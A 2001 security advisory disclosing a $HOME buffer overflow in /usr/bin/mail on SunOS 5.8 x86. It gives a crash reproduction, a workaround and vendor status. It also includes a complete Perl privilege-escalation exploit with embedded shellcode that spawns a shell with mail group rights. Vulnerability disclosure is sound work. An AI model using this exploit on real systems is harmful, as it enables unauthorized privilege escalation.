guninski@guninski.com Georgi Guninski security advisory #46, 2001 $HOME buffer overflow in SunOS 5.8 x86 Systems affected: SunOS 5.8 x86 have not tested on other OSes Risk: Medium Date: 4 June 2001 Legal Notice: This Advisory is Copyright (c) 2001 Georgi Guninski. You may distribute it unmodified. You may not modify it and distribute it or distribute parts of it without the author's written permission. Disclaimer: The information in this advisory is believed to be true based on experiments though it may be false. The opinions expressed in this advisory and program are my own and not of any company. The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable for any damages caused by direct or indirect use of the information or functionality provided by this advisory or program. Georgi Guninski bears no responsibility for content or misuse of this advisory or program or any derivatives thereof. Description: There is a buffer overflow in SunOS 5.8 x86 with $HOME and /usr/bin/mail leading to egid=mail. Details: HOME=`perl -e 'print "A"x1100'` ; export HOME mail a CTL-C eip gets smashed with 0x41414141. Exploit: #!/usr/bin/perl # /usr/bin/mail exploit by Georgi Guninski use Env qw($HOME); #shell code taken from Pablo Sor's mailx exploit $shell = "\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06"; $shell .="\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90"; $shell .="\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0"; $shell .="\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33"; $shell .="\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec"; $shell .="\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89"; $shell .="\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50"; $shell .="\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2"; $shell .="\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4"; $shell .="\x04\xe8\xc9\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78"; $RET = "\xa0\x6f\x04\x08" ; #may need to change this $OVER=1032; $ALL=1200; $buf=$RET x ($OVER/4) . "\x90" x ($ALL - $OVER - length($shell)) . $shell; system("/bin/ln -s /bin/ksh /tmp/xx"); print "Written by Georgi Guninski, shell code taken from Pablo Sor's mailx exploit.\nPress CTL-C\n"; $ENV{HOME}=$buf; exec "/usr/bin/mail","A"; Workaround: chmod -s /usr/bin/mail Vendor status: Sun was informed on 29 May 2001 about /usr/bin/mail and shall release patches.